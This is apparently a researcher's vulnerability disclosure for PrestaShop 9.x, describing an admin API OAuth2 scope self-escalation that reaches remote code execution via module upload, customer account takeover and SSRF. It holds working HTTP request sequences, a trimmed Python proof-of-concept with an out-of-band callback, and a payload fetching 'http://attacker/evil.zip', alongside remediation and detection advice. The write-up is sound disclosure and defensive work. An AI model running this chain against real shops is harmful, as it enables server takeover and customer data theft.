chu@antisec:~/research$

← ../ prestashop-admin-api-scope-privesc

chu@antisec:~/research$ cat prestashop-admin-api-scope-privesc

prestashop 9.x — admin api oauth2 scope self-escalation to rce

the admin api endpoint that creates and edits api clients accepts a client-controlled scopes[] array and never checks that the caller is entitled to the scopes it is assigning. a credential holding only api_client_write — the scope you hand to any marketplace, erp or saas integration — rewrites its own scope set to include module_write, mints a fresh oauth token that carries it, and reaches module upload, which is arbitrary php execution as www-data. the same escalation yields customer account takeover (customer_write) and full ssrf (upload-source). no admin session involved — one leaked integration credential is enough.

resumo (pt-br): a admin-api (oauth2, client_credentials) permite que um client de baixo privilégio se conceda escopos que não possui. a operação de criar/editar api clients — guardada apenas pelo escopo api_client_write — grava no client um array scopes totalmente controlado pelo chamador, sem verificar o que ele já detém. um token que só tinha api_client_write cria um client com module_write, emite um token para ele e chega a rce (instalar módulo = php rodando como www-data), takeover de contas de clientes (customer_write) e ssrf full (upload-source). afeta 9.0.0–9.2.0; ≤ 8.2.x não afetadas.


the bug

a missing delegation check

prestashop 9 ships a new admin api at /admin-api, built on api platform 3, oauth2 (client_credentials) and a cqrs command layer. every operation is pinned to one or more scopes named {entity}_{operation} — product_read, module_write, and so on. on a default install of 9.1.x/9.2.x the api is active out-of-the-box and enforced over https only.

by design, confinement is enforced at two points: the oauth2 server confines each token to the client's own stored scope list at issuance, and a listener checks the operation's required scope on every request. the mechanism is sound. the defect is that the one operation which defines a client's scope list — POST /admin-api/api-clients and PATCH /admin-api/api-clients/{id} — is gated only by api_client_write, an ordinary assignable scope, and nobody verifies that the caller holds the scopes it is writing. classic cwe-269: improper privilege management.

● EditApiClientCommand.php php · the only validation is is_string
// src/Core/Domain/ApiClient/Command/EditApiClientCommand.php:94
public function setScopes(?array $scopes): self
{
    if (count($scopes) !== count(array_filter($scopes, 'is_string'))) {
        throw new ApiClientConstraintException('Expected list of non empty string for scopes', ...);
    }
    $this->scopes = $scopes;          // no check against the CALLER's own scopes
    return $this;
}

two details make it worse instead of saving it. first, the submitted scopes are validated downstream against the installed-scope catalogue (#[InstalledApiResourceScope]), so only real, installed scopes can be assigned — but no layer checks whether the caller holds them. that absent delegation check is the whole bug. second, the request body is denormalized straight onto the cqrs command (an ObjectNormalizer without ALLOW_EXTRA_ATTRIBUTES => false, the command itself being the input type), so the scopes array in the json lands on setScopes() untouched — a textbook mass-assignment sink, cwe-915.

at the next token request, ScopeRepository::finalizeScopes() confines the requested scopes to the client's stored list — the very list the attacker just rewrote — so the escalation is honored, and from then on every module_write check passes.


attack chain

api_client_write → www-data

module_write is code execution by design: installing a prestashop module means extracting an archive into the web-root modules/ directory and loading its php class, and php runs top-level statements and the constructor immediately. the module manager even hard-codes an allowance for any api client carrying module_write. the chain is four requests:

  integration client                admin api                          prestashop host
    (api_client_write)                  │                                     │
    │                                   │                                     │
    │ POST /admin-api/access_token      │                                     │
    │ scope=api_client_write  ─────────►│  token T0 (low-priv)                │
    │                                   │                                     │
    │ POST /admin-api/api-clients       │                                     │
    │ scopes=[module_write,…] ────────►│  no delegation check:               │
    │ ◄──────── 201 {secret} ───────────│  scope list persisted as submitted  │
    │                                   │                                     │
    │ POST /admin-api/access_token      │                                     │
    │ scope=module_write  ─────────────►│  token T1 — finalized against the   │
    │                                   │  attacker-rewritten list            │
    │ POST /admin-api/modules/          │                                     │
    │      upload-archive  Bearer T1 ──►│── unzip into modules/ ─────────────►│
    │                                   │   require() → php runs              │
    │ ◄──────── uid=1000(www-data) ─────────────────── code exec ───────────│
fig 01 — self-escalation flow: rewrite your own scope set, mint a token, upload a module. no admin login anywhere.

target below: a clean, default prestashop 9.2 install over real https, every request through burp. starting point: a client provisioned for a low-trust integration with the single scope api_client_write. the shop itself is untouched — the attack lives entirely in its admin api.

Default PrestaShop 9.2 storefront (hummingbird theme), the target shop
fig 02 — the target: a default prestashop 9.2 storefront (hummingbird theme). its admin api is reachable over https.

step 1 — a token with the only scope we hold.

● step1-token.http http
POST /admin-api/access_token HTTP/1.1
Content-Type: application/x-www-form-urlencoded

grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=api_client_write
Burp Repeater: POST /admin-api/access_token with scope=api_client_write returns HTTP 200 and a Bearer token
fig 03 — step 1 in burp repeater: the low-priv client gets a bearer token carrying api_client_write only.

step 2 — the primary vulnerability: rewrite our own client's scope set. the server answers 200 and echoes it back.

● step2-escalate.http http · no ownership check
PATCH /admin-api/api-clients/1 HTTP/1.1
Authorization: Bearer <token from step 1>
Content-Type: application/json

{"scopes":["api_client_write","module_write","customer_write"]}

HTTP/1.1 200 OK
{ ... "scopes":["api_client_write","module_write","customer_write"] ... }
Burp Repeater: PATCH /admin-api/api-clients/1 with a low-priv Bearer and body scopes [api_client_write, module_write, customer_write] returns HTTP 200 echoing the escalated scopes
fig 04 — the escalation: a token holding only api_client_write rewrites its own scope set; http 200 echoing module_write + customer_write.

step 3 — mint a fresh token; finalizeScopes now grants the self-assigned scopes, and the decoded jwt proves the privilege boundary was crossed.

● step3-token.http http · jwt payload
POST /admin-api/access_token
grant_type=client_credentials&client_id=lowpriv&client_secret=<SECRET>&scope=module_write%20customer_write

{ "aud":"lowpriv", "scopes":["is_authenticated","module_write","customer_write"] }
Burp Repeater: POST /admin-api/access_token with scope=module_write customer_write returns HTTP 200 and a new Bearer token
fig 05 — a new token is minted; the self-assigned scopes are now first-class.

step 4 — the same module upload is rejected for the low-priv token and accepted for the escalated one: a clean before/after on a single endpoint. the planted module's php runs on load and the command output comes back out-of-band.

● step4-rce.http http · module_write = code execution
POST /admin-api/modules/upload-archive   (bearer low-priv)   → 403 {"detail":"Invalid scope."}
POST /admin-api/modules/upload-archive   (bearer escalated)  → 201 {"technicalName":"pocmod…"}

# the module's php runs on load; output captured out-of-band:
RCE @ host :: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Burp Repeater: POST /admin-api/modules/upload-archive with the low-priv Bearer returns HTTP 403 Invalid scope
fig 06a — before: the upload with the low-priv token → 403 invalid scope.
Burp Repeater: the identical upload with the escalated Bearer returns HTTP 201 Created and the module is installed
fig 06b — after: the identical upload with the escalated token → 201 created = code execution.

the upload-source variant ({"source":"http://attacker/evil.zip"}) makes the server fetch the archive itself — full ssrf reaching internal services and cloud metadata — and then executes the fetched module. customer_write reaches POST /admin-api/customers to create or edit any customer with an attacker-chosen password.


poc

lab only · trimmed

standard library only, no dependencies; every request to the target is routed through an intercepting proxy and the script refuses to run without it. trimmed to the parts that matter — the full script ships with the advisory. run it only against an instance you own.

● poc.py python · trimmed · stage 1 + stage 2
#!/usr/bin/env python3
# poc.py — prestashop admin api: oauth2 scope self-escalation → rce (>= 9.0.0)
# stdlib only. all target traffic goes through burp (default 127.0.0.1:8080);
# the script exits if the proxy listener is unreachable.

def jwt_scopes(token):
    p = token.split(".")[1]; p += "=" * (-len(p) % 4)
    return json.loads(base64.urlsafe_b64decode(p)).get("scopes", [])

def get_token(c, cid, secret, scope):
    st, body = c.form("/admin-api/access_token", {
        "grant_type": "client_credentials", "client_id": cid,
        "client_secret": secret, "scope": scope})
    try:    return json.loads(body).get("access_token")
    except Exception: return None

# stage 0 — a token with the only scope we hold
t0 = get_token(c, args.client_id, args.client_secret, "api_client_write")

# stage 1 — PRIMARY VULN: self-grant scopes we do not hold (create-based:
# api_client_write also reaches POST /api-clients, no numeric id needed)
esc_cid = "escpoc_%d" % int(time.time())
st, body = c.json_req("POST", "/admin-api/api-clients", {
    "clientId": esc_cid, "clientName": "escpoc", "enabled": True,
    "lifetime": 3600,
    "scopes": ["api_client_write", "module_write", "customer_write"]}, token=t0)
new_secret = json.loads(body).get("secret")   # 201 — nobody checked caller authority
t1 = get_token(c, esc_cid, new_secret, "module_write customer_write")

if "module_write" in jwt_scopes(t1):
    print(">>> PRIVILEGE ESCALATION CONFIRMED: api_client_write -> module_write")

# stage 2 — module_write = code execution: before/after on one endpoint.
# the planted module writes its command output out-of-band on load.
zipb = build_module_zip("pocmod", proof, args.cmd, args.callback)
st, body = c.multipart("/admin-api/modules/upload-archive", t0, "archive", "poc.zip", zipb)
print("  low-priv upload  -> HTTP", st)       # 403 Invalid scope.
st, body = c.multipart("/admin-api/modules/upload-archive", t1, "archive", "poc.zip", zipb)
print("  escalated upload -> HTTP", st)       # 201 = the module's php ran
# --callback serves a built-in listener: ">>> RCE CONFIRMED" as the web user
PoC console running end-to-end: token with api_client_write, self-escalation to module_write+customer_write (PRIVILEGE ESCALATION CONFIRMED), upload 403 then 201, and out-of-band RCE proof uid=1000(www-data) (RCE CONFIRMED)
fig 07 — the automated poc running the full chain end-to-end: escalation confirmed in the jwt, upload 403 → 201, rce proven out-of-band as uid=1000(www-data).

impact

what an attacker gets

who is exposed: any 9.x shop where an integration, app or partner holds api_client_write — and on 9.1.x/9.2.x the admin api is on out-of-the-box, so the only prerequisite is that one credential. ≤ 8.2.x is not affected (no api-based client management). verified dynamically on clean default installs of 9.1.4 (latest stable) and 9.2.0; the escalation itself also proven on 9.0.0. since the api and the code it executes share the same www-data authority, this scores cvss 3.1 8.8 high (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — defensible as 9.9 critical with S:C if the scope-to-os-code step is treated as a boundary crossing. a shop that grants an integration the innocuous-looking api_client_write scope is effectively granting it code execution on the host — a material gdpr/lgpd exposure.


disclosure timeline

coordinated · in progress

remediation

for devs + merchants

if you build an api that hands out capabilities

  • add the delegation check: when creating or editing a client, reject any requested scope the authenticated caller does not itself hold or is not authorized to delegate. validating against the scope catalogue alone is necessary but not sufficient.
  • never let a principal assign privileges it doesn't hold. consider gating client management behind a dedicated administrative scope that itself cannot be self-assigned.
  • disable mass assignment: ALLOW_EXTRA_ATTRIBUTES => false and/or explicit input dtos with an allow-list, instead of binding the request body straight onto a command.
  • make scope checks deny-by-default: an operation that declares no scopes must not be reachable by any token, and a ci lint should fail any operation lacking a non-empty scope set.
  • enforce enabled when resolving clients, and implement real token revocation — a disabled client must not keep minting working tokens.
  • treat module installation as a separate, high-trust capability: dedicated scope, unreachable by self-grant, and consider module signing.

if you run a prestashop 9.x shop today

  • treat api_client_write as an administrative privilege and withhold it from third-party integrations until a fixed release ships.
  • audit ps_api_client.scopes for clients whose scope set exceeds what their creator intended — especially any low-trust client now holding module_write, customer_write or webservice_key_write — and rotate anything you didn't create yourself.
  • keep integration secrets in a secret manager, not in a spreadsheet named senhas-final-v3. the client secret is shown once at creation and then lives in the integration's config; it leaks through git, ci logs, screenshots and support tickets.
  • alert on PATCH/POST to /api-clients that changes scopes, especially when followed by a module upload. that one log line catches this class.
  • upgrade to the fixed release as soon as it is available, and re-audit every api client afterwards — scopes self-granted before the patch do not un-grant themselves.